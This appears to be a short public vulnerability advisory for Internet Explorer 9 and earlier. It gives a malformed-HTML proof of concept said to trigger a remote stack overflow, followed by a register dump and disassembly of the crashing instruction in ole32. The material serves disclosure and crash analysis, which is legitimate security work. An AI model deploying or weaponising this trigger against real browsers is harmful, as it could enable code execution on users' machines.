----------------------------------------------------------------------
Microsoft Internet Explorer 9.x <= Remote Stack Overflow Vulnerability
----------------------------------------------------------------------
 
Author: Jean Pascal Pereira <pereira@secbiz.de>
 
Vendor: Microsoft Internet Explorer 9.x and below
 
Description:

The application is prone to a remote stack overflow vulnerability.
 
Successful exploitation may lead to arbitrary code execution.
 
----------------------------------------------------------------------
Proof Of Concept:
----------------------------------------------------------------------
 
<table></for xmlns="1">
<td><datetime><colgroup>
<id><dd><col>
</table><object>
<hr><base>
 
----------------------------------------------------------------------
Register Dump:
----------------------------------------------------------------------
 
EAX 800706BE
ECX 763FCDB3 RPCRT4.763FCDB3
EDX 00000000
EBX 0604393C
ESP 003FDDD4
EBP 003FDDE0
ESI 003FDE30
EDI 761AFA10 ole32.761AFA10
EIP 7629CF51 ole32.7629CF51
 
----------------------------------------------------------------------
Crash Instruction:
----------------------------------------------------------------------
 
7629CF36   8B4D E4          MOV ECX,DWORD PTR SS:[EBP-1C]
7629CF39   24 04            AND AL,4
7629CF3B   0FB6C0           MOVZX EAX,AL
7629CF3E   F7D8             NEG EAX
7629CF40   1BC0             SBB EAX,EAX
7629CF42   25 0A010180      AND EAX,8001010A
7629CF47   8901             MOV DWORD PTR DS:[ECX],EAX
7629CF49   8B45 E8          MOV EAX,DWORD PTR SS:[EBP-18]
7629CF4C   50               PUSH EAX
7629CF4D   53               PUSH EBX
7629CF4E   8975 D8          MOV DWORD PTR SS:[EBP-28],ESI
7629CF51   FF70 5C          PUSH DWORD PTR DS:[EAX+5C]
 
----------------------------------------------------------------------
At 0x7629CF51, a read access violation occurs.
----------------------------------------------------------------------
 
Jean Pascal Pereira <pereira@secbiz.de> || http://www.0xffe4.org